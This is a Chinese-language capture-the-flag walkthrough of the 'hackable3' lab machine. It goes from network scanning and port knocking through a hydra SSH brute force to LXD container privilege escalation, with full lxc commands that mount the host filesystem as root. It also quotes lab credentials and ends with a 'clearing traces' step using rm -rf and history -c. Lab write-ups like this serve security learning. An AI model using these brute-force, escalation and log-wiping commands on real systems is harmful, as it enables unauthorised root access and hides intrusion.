hackable3
前言
这里使用virtual box加载靶机
靶机:hackable3
攻击:kali
主机发现
使用arp-scan -l扫描

信息收集
使用nmap扫描

这里明显:
- 22端口ssh服务可能过滤了
- 80端口开启
apache的http服务
网站目录扫描
使用dirsearch扫描,或者gobuster、ffuf、dirb、dirbuster等

进一步信息收集
测试22端口是否可用,可能设置条件了

直接访问页面,并查看源代码

根据上面的目录扫描,访问HTTP服务
访问/robots.txt 文件,这个目录算是信息泄露

访问/config,有一个1.txt文件,打开后是经过编码处理的数据,尝试解码

经base64解码后,是一串数字10000,不过这也不确定是否是base64编码
继续访问其他目录/backup
访问发现有一个txt文件,访问发现算是字典

登录界面的源码/login.php

首先是POST接收,那么就需要使用burp进行测试
分析
- 首先接收
user赋值给usuario,接收pass赋值给senha - 从数据库中查询表
usuarios,对用户的输入进行判断。正确会返回数据库的值 - 当数据库有返回的时候,会把用户名赋值给
session
这里还有一张图片,并且没有路径,可能在当前目录下,直接访问,使用wget下载到本地
然后使用steghide检测是否有隐藏信息,这里如果有passphrase的话,是需要输入的,这里并不知道,直接回车

访问login_page/login.html

访问/config.php文件,这里提示,默认设置root无密码,对于mysql服务

访问css目录,访问发现2.txt,打开也是一段编码的字符

尝试进行解码,之前碰到过,其实就是brain

信息总结
- 可能有用户
jubiscleudo - 获取两个端口,
65535、10000和4444 - 数据库是
mysql数据库 - 连接数据库的用户
root没设置密码 login.php可以返回表的所有数据- 有一个字典
漏洞寻找
在 Linux 系统中有一个名为 “knock” 的命令行工具,它用于实现端口敲门功能。通过这个工具,用户可以在命令行下轻松地发送端口敲门序列。例如,如果要按照前面提到的端口序列(1000、2000、3000)进行敲门,在安装并配置好 “knock” 工具后,可以使用类似 “knock < 服务器 IP 地址 > 1000 2000 3000” 的命令来触发服务器上对应的安全策略。
根据上面来说,是进行了安全策略,需要按照之前获取的1.txt、2.txt、3.txt所解出的端口进行顺序
简单来说,就是像一种暗号一样,对了才能访问SSH服务

现在可以正常访问ssh服务,然后根据前面获取的,可能存在用户jubiscleudo,也给出一个字典,尝试对其进行爆破
hydra -l jubiscleudo -P wordlist.txt ssh://192.168.1.38 -vV -f
//该字典使用的是网站给出的

漏洞利用
获取成功,密码为onlymy,登录,然后发现还有一个用户。

使用find寻找具有SUID权限

尝试使用sudo进行查看

这样提权不行,搜索一些敏感文件的关键字,如*user*、*pass*、*back*等等

发现之前没有看到的php文件,去查看,可以看到在进行与mysql服务连接时,设置的用户名和密码

用户名hackable_3,密码TrOLLED_3,不过这里的密码是作为数据库连接的,不知道是否是其本身密码
测试发现可以,就是其密码,这里需要注意,id命令时的lxd

尝试sudo提权,发现不行

lxd提权
环境配置
https://github.com/saghul/lxd-alpine-builder.git从这里下载项目

以root身份进行搭建

然后在该目录下开启一个简易的http服务,然后在靶机中下载

使用lxc导入该包到镜像中,并起别名为test
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
然后使用lxc image list列出镜像

进行lxd初始化,一直回车即可

提权使用
生成一个初始化容器
lxc init test dijia -c security.privileged=true
//这里的test就是前面初始化的镜像别名


把磁盘挂载
lxc config device add dijia mydevice disk source=/ path=/mnt/root recursive=true
启动创建的dijia容器
lxc start dijia

容器执行/bin/sh
lxc exec dijia /bin/sh


清除痕迹

lxc stop dijia //暂停容器dijia
lxc delete dijia //删除容器dijia
lxc image delete test //删除镜像test
rm -rf alpine-v3.13-x86_64-20210218_0139.tar.gz snap //删除下载的文件
history -c
history -r
总结
- 对于信息的收集,只要有可能,都记录下来
- 编码加密的一些使用,要会解码解密
- 对于网站的目录,最好的方式就是都看一看页面源代码
- 这里的
ssh服务开启某种安全策略,所以需要特定的序号端口进行访问才能打开22端口 - 密码爆破,
hydra的使用 lxd、lxc的使用,容器,感觉用法其实和现在的docker很相似。
